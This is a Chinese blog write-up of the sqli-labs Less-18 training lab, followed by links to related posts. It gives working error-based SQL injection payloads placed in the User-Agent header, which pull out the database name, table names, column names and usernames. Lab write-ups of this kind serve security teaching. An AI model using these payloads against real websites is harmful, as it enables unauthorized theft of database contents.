【网络安全】sqli-labs Less-18 解题详析

Sqli-labs靶场第18关详解[Sqli-labs-less-18]自动化注入-SQLmap工具注入 所以先使用burp进行抓包,然后将数据包存入txt文件中打包 用-r 选择目标txt文件。尝试加上注入语句(报错注入),测试是否会执行并返回报错语句爆出想要的信息。使用单引号' 测试得到了报错即: ' 为闭合方式。在user-agent处加上*代表注入点。 阅读详情

正文

该题为基于GET及报错的User-Agent注入,故需在参数后构造POC

报错注入的原理及攻击姿势可参考: 【网络安全】sqli-labs Less-5 解题详析

该题采用抓包进行处理

判断注入类型

在这里插入图片描述
由回显可知,注入类型为('注入

故注入模板为',1,1)#


查库名

',extractvalue(1,concat(0x23,database())),1)#

得到库名为security


查表名

我们以第一个1为注入点,构造POC如下:

',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#

在这里插入图片描述

得到四个表名


查列名

',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#

在这里插入图片描述


查数据

这里先介绍一下mid()函数,mid()函数是一种字符串函数,用于提取给定字符串的子字符串。它的语法如下:

MID(str, start, length)

其中:

  • str 是要提取子字符串的源字符串。
  • start 指定了子字符串的起始位置。它是一个整数值,表示从源字符串中的哪个字符开始提取子字符串。起始位置是从 1 开始计数的。
  • length 指定了要提取的子字符串的长度。它也是一个整数值,表示从起始位置开始向后提取多少个字符。

例如,假设有一个字符串 "Hello, World!",如果想要提取其中的子字符串 "World",可以使用以下 MID() 函数调用:

MID("Hello,World!", 7, 5)

在这个例子中,str 是字符串 "Hello, World!",start 是 7,length 是 5。因此,MID() 函数将从第 7 个字符开始提取长度为 5 的子字符串,结果为 "World"。

我们以username列为例,利用mid()函数构造POC如下:

',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#

在这里插入图片描述
这个语句是从 security.users 表中的 username 列中获取用户名,获取到的并不是全部的用户名,而是从第一个字符开始的长度为 32 的子字符串

接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:

POC如下:

',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32))),1)#'

在这里插入图片描述
同理,32改为64后得到:

在这里插入图片描述

sqli-labs学习笔记(七)less 18-22 header注入 继续学习sqli-labs,本篇是less18-22 阅读详情

相关推荐

CentOS 7下基于Docker部署DVWA、SQLi-LABS与upload-labs本地CTF靶场

在网络安全学习和Web渗透测试领域,本地靶场是进行合法、安全技术演练的核心基础设施。其原理在于通过虚拟化或容器化技术,构建一个与真实网络隔离的沙箱环境,从而允许安全研究人员和爱好者无风险地模拟攻击与防御。从技术价值看,本地靶场不仅避免了法律风险,更能系统性地训练漏洞原理理解、手工利用技巧和自动化工具使用能力,是掌握SQL注入、文件上传、命令执行等OWASP Top 10漏洞的必备实践平台。典型的应用场景包括CTF竞赛训练、渗透测试技能提升以及安全教学实验。本文聚焦于使用Docker容器技术,在CentOS

shirlly 412

SQLi LABS Less-18 报错注入

第十八关请求方式为 GET请求 , 注入点为User-Agent , 注入方式为 错误注入 第一步,判断注入方式 先看源码 后台代码对 特殊字符进行了过滤 , 常规的注入方式行不通 , 只有通过代码审计来判断注入方式 登录成功后 , 有一个保存用户主机信息的SQL语句 , 并且没有对参数进行过滤 , 我们可以针对这个SQL进行错误注入 真实场景中 , 我们可以先注册一个账号进行登录 , 登录成功后通过User-Agent 进行错误注入 , 从而实现脱库 使用 Burp...

wangyuxiang946的博客 1万+

PCB设计中的规则优先级陷阱:为什么你的过孔总是十字连接?

本文深入解析PCB设计中Altium Designer规则优先级机制,解决过孔总是十字连接而非全连接的问题。通过分析铺铜连接原理和规则匹配逻辑,提供精确控制连接方式的技术实践,包括Custom Query使用和优先级最佳设置,帮助设计师避免常见陷阱,优化高速电路板的电气性能和制造可靠性。

banana的博客 469

sqli-labs(less-18)

less-18关于uagent注入

m0_64849639的博客 1186

2023年5月青少年软件编程Python等级考试四级真题(含答案和解析)

电子学会,2023年5月,青少年软件编程,Python等级考试,四级真题(含答案和解析)

m0_37554648的博客 904

pytorch-cifar100学习资料汇总 - 基于PyTorch的CIFAR-100图像分类实践

pytorch-cifar100是一个基于PyTorch实现CIFAR-100数据集图像分类的开源项目。该项目实现了多种经典的深度学习网络模型,如ResNet、DenseNet、VGG等,为开发者提供了在CIFAR-100数据集上进行图像分类实验的代码范例。pytorch-cifar100项目为我们提供了在CIFAR-100数据集上进行图像分类实验的完整代码实现。无论你是想要学习PyTorch的使用,还是研究不同网络模型在CIFAR-100上的表现,这个项目都是一个很好的起点。

helloaiworld的博客 1123

sqli-labs:less-18

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; char...

羽的博客 272

Python爬虫实战:爬取500+网易云热门歌单,我摸清了全网最火的音乐规律

曲风:流行是主流,“情绪价值”比单纯曲风更重要;歌名:感性、场景化的歌名,更受用户偏爱。这次实战让我明白,Python不是冰冷的代码,而是能帮我们看清生活中隐藏规律的工具。从每天刷的歌单里,用爬虫和数据分析挖出用户的真实偏好,不仅满足了好奇心,还实实在在练会了技能。新手朋友可以从这个项目入手,既练习了爬虫基础,又学会了数据分析的核心逻辑,还能结合自己的音乐兴趣理解数据的意义。现在打开PyCharm,跟着代码跑一遍,你也能从网易云的热门歌单里,挖出属于自己的“音乐规律”!

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1889

sqli-lab-less18

sqli-lab-less18

Sa1nZen的博客 331

四旋翼飞行器建模(一)

四旋翼飞行器的姿态运动学和姿态动力学建模方法。

加斯顿工程师的博客 686

【报错】open /var/lib/docker/tmp/docker-import-863402796/bin/json: no such file or directory

然后,通过docker images可以看到镜像已经加载进来了。然后,通过docker images可以看到镜像已经加载进来了。

静谧、淡雅 6223

[网络安全]sqli-labs Less-17 解题详析

以上为[网络安全]sqli-labs Less-17 解题详析,后续将分享[网络安全]sqli-labs Less-18 解题详析.我是秋说,我们下次见。

等风来 4103

08 RK3568 MAC TO MAC直连 RTL8367S mdio

本文:采用rk3568 gamc0 通过rgmii直连 交换芯片的mac口 通信方法为mdio。

qq_39451352的博客 3476

【网络安全】sqli-labs Less-12 解题详析

通过测试可知注入类型为双引号+括号注入。通过回显可知,库名为security。通过回显可知,有以上四个表。尝试可知注入点个数为2。

等风来 4321

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

sqli-labs通关攻略(Less-18~Less-20)

sqli-labs通关攻略(Less-18~Less-20)

2301_78554096的博客 1284

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

SQLi LABS Less-18_sql less-18

第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入。

2401_84265972的博客 1006

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

sqli-labs:Less-19关卡详细解析

摘要: 本文详细解析了sqli-labs第18关的SQL注入过程。该关卡基于INSERT语句的字符串型注入,通过修改User-Agent头实现攻击。分析发现注入点位于$uagent参数,需配合报错盲注获取数据。 关键步骤: 使用updatexml()函数触发报错 依次获取数据库名、表名、字段名 通过concat()提取具体数据 技术要点: 利用HTTP请求头进行注入 报错盲注技术应用 系统数据库information_schema查询 提示: 该技术仅限安全研究,禁止非法测试。完整解析可参考文末链接。

qq_62000508的博客 1119

SQLi-Labs 靶场介绍

SQLi-Labs(SQL Injection Labs)是一款面向网络安全学习者的,由印度安全研究者 Raju 开发维护,是国内外高校、安全培训机构、网安从业者入门SQL注入技术的核心实训工具。该靶场基于 PHP+MySQL 构建,通过 75+ 个差异化的注入场景,覆盖从基础到高阶的全类型SQL注入漏洞,能够帮助学习者系统化掌握SQL注入的原理、利用方法、绕过技巧及修复方案,是Web安全方向入门的“必修课”级靶场。

刘箫-技术库 638

Sql注入入门详解与Sqli-Labs的通关注解

了解SQL注入原理,搭建sql-lab,完成所有题目

2301_79841911的博客 1694

从 0 到 1 玩转 Sqli-labs 靶场:环境搭建 + 全关卡漏洞解析

本文介绍了SQL注入的基础知识,包括常用函数、报错注入、时间盲注和布尔盲注四部分。并通过Sqli-labs 安全靶场进行 SQL 注入实践。

水滴石穿 1481

渗透测试靶场—sqli-labs安装

渗透测试sql注入靶场(sqli-labs)安装,以及每个关卡的通关方法

m0_54342116的博客 1345

sqli-labs靶场通关详细讲解(附php源码分析Less-17-22)

输入admin后发现页面返回浏览器信息,可以考虑在http头部中注入sql语句,并测试闭合语句。进入页面根据提示发现为密码重置,考虑在密码栏上进行sql注入,发现 ' 为闭合条件。只需对注入的语句进行base-64编码后再写入即可,注意闭合条件。与上一题一致,抓包后发现cookie值被进行base-64加密。其余均相同,都是先将注入语句进行base-64编码后注入。页面提示cookie 考虑到从cookie值上面进行注入。对注入的语句先进行base-64编码即可解决。页面无回显,考虑进行报错注入。

XiaooJ的博客 1225

sqli-labs-Less-19自动化注入方法

这一关与第18关类似,需要通过分析源码进行手动报错注入,但注入点与之前的关卡不同,为Referer。

heze09的博客 384

sqli-labs之ua,referer注入

摘要:本文分析了HTTP头中的User-Agent和Referer字段的注入攻击原理,指出攻击者可利用这些字段进行数据库注入,如通过修改UA或Referer值触发报错注入。文章详细说明了后台SQL语句构造方式,并提供了具体的注入payload示例。最后以sqli-labs的Less-18关卡为例,演示了如何通过修改User-Agent头实现数据库信息泄露,成功获取当前数据库名称。文章建议后续注入可参考报错注入相关技术文章。(149字)

2301_81896160的博客 642

sqli-labs (less-41)

sqli-labs (less-41) 进入41关,输入id=1 http://127.0.0.1/sql1/Less-41/?id=1' #无错误回显 因为没有任何错误显示,只能一个一个去猜 http://127.0.0.1/sql1/Less-41/?id=1--+ #回显正常 http://127.0.0.1/sql1/Less-41/?id=1'--+ #回显错误 http://127.0.0.1/sql1/Less-41/?id=1"--+ #回显错误 这里我们不使用union注入,直接

kukudeshuo的博客 422
上一篇: 【网络安全】sqli-labs Less-11 解题详析
下一篇: 【网络安全 | CTF】攻防世界 fileclude 解题详析(php伪协议)
秋说
秋说 优质创作者: 编程框架、信息安全技术领域 优质创作者: 编程框架、信息安全技术领域
博客等级 码龄4年 3万+粉丝 1906原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值